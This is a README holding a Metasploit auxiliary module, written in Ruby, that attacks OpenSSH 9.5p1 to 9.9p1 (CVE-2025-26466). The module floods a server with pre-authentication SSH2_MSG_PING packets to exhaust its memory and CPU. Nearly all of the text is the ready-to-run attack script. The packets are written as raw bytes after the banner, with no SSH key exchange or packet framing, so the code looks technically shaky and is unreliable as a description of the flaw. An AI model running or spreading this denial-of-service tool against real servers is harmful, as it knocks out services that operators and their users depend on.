README.md
Rendering markdown...
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenSSH Ping DoS (CVE-2025-26466)',
'Description' => %q{
OpenSSH (versions 9.5p1 to 9.9p1) is vulnerable to a memory and CPU
exhaustion DoS by sending repeated SSH2_MSG_PING packets (type 192).
This occurs before authentication, and can result in server lockup
due to poor queue/buffer handling.
},
'Author' => [ 'mrowkoob [email protected]' ],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2025-26466'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2025-26466'],
['URL', 'https://www.openssh.com/txt/release-9.9p2']
],
'DisclosureDate' => '2025-02-18'))
register_options(
[
Opt::RPORT(22),
OptInt.new('PING_COUNT', [true, 'Number of SSH2_MSG_PING packets to send', 500]),
OptBool.new('CHECK_PONG', [false, 'Check if server responds with SSH2_MSG_PONG', false])
]
)
end
def build_ping_packet(data = "aloha")
# SSH2_MSG_PING = 192, format: byte + string (uint32 len + bytes)
[192].pack("C") + [data.bytesize].pack("N") + data
end
def run
connect
banner = sock.get_once(-1, 2)
print_status("Connected, banner: #{banner.strip}") if banner
ping_count = datastore['PING_COUNT']
print_status("Sending #{ping_count} SSH2_MSG_PING packets...")
if datastore['CHECK_PONG']
payload = build_ping_packet("ping")
sock.write(payload)
print_status("Waiting for server reply (SSH2_MSG_PONG)...")
pong = sock.get_once(-1, 1)
if pong && pong.bytes[0] == 193
print_good(" Server responded with SSH2_MSG_PONG (193)")
else
print_status("No PONG received (likely due to pre-auth block or patched server).")
end
end
ping_count.times do |i|
payload = build_ping_packet("ping#{i}")
sock.write(payload)
vprint_good("Sent PING ##{i + 1}")
select(nil, nil, nil, 0.01) # slight delay
end
print_good("Sent #{ping_count} ping packets.")
disconnect
end
end